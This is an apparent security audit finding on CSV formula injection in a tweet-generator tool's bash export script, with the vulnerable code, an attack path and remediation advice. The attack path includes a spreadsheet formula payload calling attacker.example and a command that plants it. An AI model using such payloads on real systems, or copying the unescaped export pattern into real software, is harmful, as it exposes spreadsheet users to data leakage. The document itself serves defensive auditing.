T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/script.sh:80
- Finding
- CSV Formula Injection Through Unescaped Exported Content<![CDATA[ ## Vulnerability Details **File Location**: `scripts/script.sh`, lines 80–86 **Vulnerability Type**: CSV formula injection and improper output encoding **Risk Level**: Medium ### Vulnerable Code ```bash echo "type,time,value" > "$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out" done < "$f" done ``` ### Technical Analysis The `val` variable contains user-controlled content read from local log files. It is written directly into a CSV field without RFC 4180 quoting or spreadsheet-formula neutralization. Values beginning with characters such as `=`, `+`, `-`, or `@` may be interpreted as formulas when the exported file is opened in spreadsheet software. Commas, quotation marks, carriage returns, and line breaks can also alter the CSV structure and create attacker-controlled cells or records. For example, content such as the following is stored without modification: ```text =WEBSERVICE("https://attacker.example/collect") ``` The resulting CSV cell can be evaluated as a formula by spreadsheet applications that support the relevant function. ### Attack Path 1. An attacker supplies crafted tweet content or persuades a user to save crafted content using a command such as: ```bash tweet-generator draft '=WEBSERVICE("https://attacker.example/collect")' ``` 2. The application writes the content to a local log file. 3. The user runs: ```bash tweet-generator export csv ``` 4. The export implementation writes the content directly into `export.csv`. 5. The user opens the CSV file in spreadsheet software. 6. If formula evaluation is enabled and supported by that software, the crafted cell may execute as a spreadsheet formula. ### Impact Assessment Successful exploitation is limited to the context and capabilities of the spreadsheet application opening the exported file. Depending on spreadsheet behavior ...[truncated 412 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Encode every CSV field according to RFC 4180: - Enclose fields in double quotes. - Replace every embedded double quote with two double quotes. - Preserve commas and line breaks only inside properly quoted fields. 2. Neutralize values beginning with `=`, `+`, `-`, or `@` when exports are intended for spreadsheet use. A leading apostrophe can be added, or the application can provide a separate spreadsheet-safe export mode. 3. Use a well-tested CSV generation library or helper rather than concatenating fields with `echo`. 4. Add regression tests for commas, quotes, CRLF sequences, multiline content, and formula-leading values. 5. Document whether an export preserves raw content or applies spreadsheet-safe transformations. ]]>
